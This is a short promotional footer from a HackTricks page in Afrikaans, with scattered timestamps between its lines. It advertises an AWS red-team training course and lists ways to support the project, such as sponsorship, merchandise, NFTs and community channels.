<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:24:39 +00:00
2024-02-11 02:07:06 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
2022-04-28 16:01:33 +00:00
</details>